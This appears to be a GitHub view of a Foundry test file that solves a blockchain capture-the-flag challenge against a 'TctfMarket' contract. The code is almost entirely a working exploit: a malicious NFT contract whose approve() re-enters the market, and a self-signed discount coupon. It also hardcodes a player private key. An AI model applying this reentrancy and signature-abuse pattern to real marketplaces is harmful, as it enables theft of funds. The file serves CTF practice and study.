forked from minaminao/ctf-blockchain
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Exploit.t.sol
126 lines (102 loc) · 3.9 KB
/
Exploit.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;
import "forge-std/Test.sol";
import "./Challenge.sol";
contract ENFT is ERC721, Ownable {
constructor() ERC721("ENFT", "ENFT") {
_setApprovalForAll(address(this), msg.sender, true);
}
function mint(address to, uint256 tokenId) external onlyOwner {
_mint(to, tokenId);
}
}
contract ENFT2 is ERC721, Ownable {
TctfMarket market;
address playerAddress;
constructor(address marketAddress) ERC721("ENFT", "ENFT") {
_setApprovalForAll(address(this), msg.sender, true);
market = TctfMarket(marketAddress);
playerAddress = msg.sender;
}
function mint(address to, uint256 tokenId) external onlyOwner {
_mint(to, tokenId);
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
// require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not token owner or approved for all"
);
_approve(to, tokenId);
market.tctfToken().approve(address(market), type(uint256).max);
market.purchaseOrder(3);
_approve(address(market), 1);
market.createOrder(address(this), 1, 1337);
}
function transferTctfToken() public {
market.tctfToken().transfer(playerAddress, 1337);
}
function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
return this.onERC721Received.selector;
}
}
contract ExploitTest is Test {
uint256 playerPrivateKey = 0xb8305f5a0cacc7ade7f3aaa8702372307bdaaeb00e9447c85332284deec1477e;
address playerAddress = vm.addr(playerPrivateKey); // 0xe14924eC3FA63F8FD6f0937c3Fbcf86242dce2De
TctfMarket market;
function setUp() public {
market = new TctfMarket();
vm.label(playerAddress, "player");
}
function testExploit() public {
vm.startPrank(playerAddress, playerAddress);
TctfToken token = market.tctfToken();
token.airdrop();
token.approve(address(market), type(uint256).max);
ENFT2 enft2 = new ENFT2(address(market));
enft2.mint(address(market), 0);
enft2.mint(address(enft2), 1);
token.transfer(address(enft2), 1);
market.purchaseTest(address(enft2), 0, 1);
enft2.transferTctfToken();
market.purchaseOrder(1);
ENFT enft = new ENFT();
vm.label(address(enft), "ENFT");
enft.mint(playerAddress, 0);
market.createOrder(address(enft), 0, 1);
market.purchaseOrder(0);
SignedCoupon memory scoupon = sign(address(enft));
market.purchaseWithCoupon(scoupon);
market.win();
vm.stopPrank();
}
function testSign() public {
SignedCoupon memory _scoupon = sign(0x36aE8eF50a59d15fD769ff040B659BC31c4c28d3);
console.logBytes(abi.encodeWithSelector(market.purchaseWithCoupon.selector, _scoupon));
}
function sign(address enftAddress) public returns (SignedCoupon memory) {
Coupon memory coupon = Coupon(1, 1, playerAddress, playerAddress, "");
Order memory order = Order(enftAddress, 0, 1);
bytes memory serialized = abi.encode(
"I, the issuer",
coupon.issuer,
"offer a special discount for",
coupon.user,
"to buy",
order,
"at",
coupon.newprice,
"because",
coupon.reason
);
bytes32 digest = keccak256(serialized);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPrivateKey, digest);
bytes32[2] memory rs;
rs[0] = r;
rs[1] = s;
Signature memory signature = Signature(v, rs);
SignedCoupon memory scoupon = SignedCoupon(coupon, signature);
return scoupon;
}
}